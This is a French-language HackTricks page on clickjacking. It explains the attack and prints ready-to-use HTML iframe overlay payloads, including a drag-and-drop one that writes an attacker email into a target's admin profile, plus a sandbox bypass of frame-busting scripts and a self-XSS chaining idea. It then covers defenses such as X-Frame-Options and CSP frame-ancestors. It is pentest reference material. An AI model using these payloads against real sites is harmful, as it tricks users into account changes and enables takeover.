12 KiB
Clickjacking
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
Qu'est-ce que le Clickjacking
Dans une attaque de clickjacking, un utilisateur est trompé en cliquant sur un élément d'une page web qui est soit invisible, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences inattendues pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent ou l'achat en ligne de produits.
Astuce de préremplissage de formulaires
Il est parfois possible de remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.
Remplir un formulaire avec Drag&Drop
Si vous avez besoin que l'utilisateur remplisse un formulaire mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de Drag&Drop quelque chose qui écrira vos données contrôlées comme dans cet exemple.
Charge utile de base
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Charge utile multistep
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Si vous avez identifié une attaque XSS qui nécessite qu'un utilisateur clique sur un élément pour déclencher le XSS et que la page est vulnérable au clickjacking, vous pourriez en abuser pour tromper l'utilisateur en lui faisant cliquer sur le bouton/lien.
Exemple :
Vous avez trouvé un self XSS dans certains détails privés du compte (détails que vous seul pouvez définir et lire). La page avec le formulaire pour définir ces détails est vulnérable au Clickjacking et vous pouvez préremplir le formulaire avec les paramètres GET.
__Un attaquant pourrait préparer une attaque Clickjacking sur cette page en préremplissant le formulaire avec la charge utile XSS et en trompant l'utilisateur pour qu'il soumette le formulaire. Ainsi, lorsque le formulaire est soumis et que les valeurs sont modifiées, l'utilisateur exécutera le XSS.
Stratégies pour atténuer le Clickjacking
Défenses côté client
Les scripts exécutés côté client peuvent effectuer des actions pour prévenir le Clickjacking :
- S'assurer que la fenêtre de l'application est la fenêtre principale ou supérieure.
- Rendre tous les cadres visibles.
- Empêcher les clics sur les cadres invisibles.
- Détecter et alerter les utilisateurs sur les tentatives potentielles de Clickjacking.
Cependant, ces scripts de contournement de cadre peuvent être contournés :
- Paramètres de sécurité des navigateurs : Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramètres de sécurité ou du manque de support JavaScript.
- Attribut
sandbox
de l'iframe HTML5 : Un attaquant peut neutraliser les scripts de contournement de cadre en définissant l'attributsandbox
avec les valeursallow-forms
ouallow-scripts
sansallow-top-navigation
. Cela empêche l'iframe de vérifier si elle est la fenêtre supérieure, par exemple,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
The allow-forms
et allow-scripts
permettent des actions au sein de l'iframe tout en désactivant la navigation de niveau supérieur. Pour garantir la fonctionnalité prévue du site ciblé, des autorisations supplémentaires comme allow-same-origin
et allow-modals
peuvent être nécessaires, selon le type d'attaque. Les messages de la console du navigateur peuvent guider les autorisations à accorder.
Défenses côté serveur
X-Frame-Options
L'en-tête de réponse HTTP X-Frame-Options
informe les navigateurs sur la légitimité de rendre une page dans un <frame>
ou <iframe>
, aidant à prévenir le Clickjacking :
X-Frame-Options: deny
- Aucun domaine ne peut encadrer le contenu.X-Frame-Options: sameorigin
- Seul le site actuel peut encadrer le contenu.X-Frame-Options: allow-from https://trusted.com
- Seule l'URI spécifiée peut encadrer la page.- Notez les limitations : si le navigateur ne prend pas en charge cette directive, elle peut ne pas fonctionner. Certains navigateurs préfèrent la directive CSP frame-ancestors.
Directive frame-ancestors de la politique de sécurité du contenu (CSP)
La directive frame-ancestors
dans CSP est la méthode conseillée pour la protection contre le Clickjacking :
frame-ancestors 'none'
- Semblable àX-Frame-Options: deny
.frame-ancestors 'self'
- Semblable àX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Semblable àX-Frame-Options: allow-from
.
Par exemple, la CSP suivante n'autorise l'encadrement que depuis le même domaine :
Content-Security-Policy: frame-ancestors 'self';
Des détails supplémentaires et des exemples complexes peuvent être trouvés dans la documentation frame-ancestors CSP et la documentation frame-ancestors de Mozilla.
Politique de sécurité du contenu (CSP) avec child-src
et frame-src
La politique de sécurité du contenu (CSP) est une mesure de sécurité qui aide à prévenir le Clickjacking et d'autres attaques par injection de code en spécifiant quelles sources le navigateur doit autoriser à charger du contenu.
Directive frame-src
- Définit les sources valides pour les frames.
- Plus spécifique que la directive
default-src
.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Cette politique permet des cadres de la même origine (soi) et https://trusted-website.com.
Directive child-src
- Introduite dans CSP niveau 2 pour définir des sources valides pour les travailleurs web et les cadres.
- Agit comme une solution de secours pour frame-src et worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Cette politique permet des frames et des workers de la même origine (self) et https://trusted-website.com.
Notes d'utilisation :
- Dépréciation : child-src est en cours de suppression au profit de frame-src et worker-src.
- Comportement de secours : Si frame-src est absent, child-src est utilisé comme secours pour les frames. Si les deux sont absents, default-src est utilisé.
- Définition stricte des sources : Inclure uniquement des sources de confiance dans les directives pour prévenir l'exploitation.
Scripts JavaScript de rupture de frame
Bien que pas complètement infaillibles, les scripts de rupture de frame basés sur JavaScript peuvent être utilisés pour empêcher qu'une page web soit encadrée. Exemple :
if (top !== self) {
top.location = self.location;
}
Utilisation des jetons Anti-CSRF
- Validation des jetons : Utilisez des jetons anti-CSRF dans les applications web pour garantir que les requêtes modifiant l'état sont effectuées intentionnellement par l'utilisateur et non via une page Clickjacked.
Références
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Utilisez Trickest pour créer facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.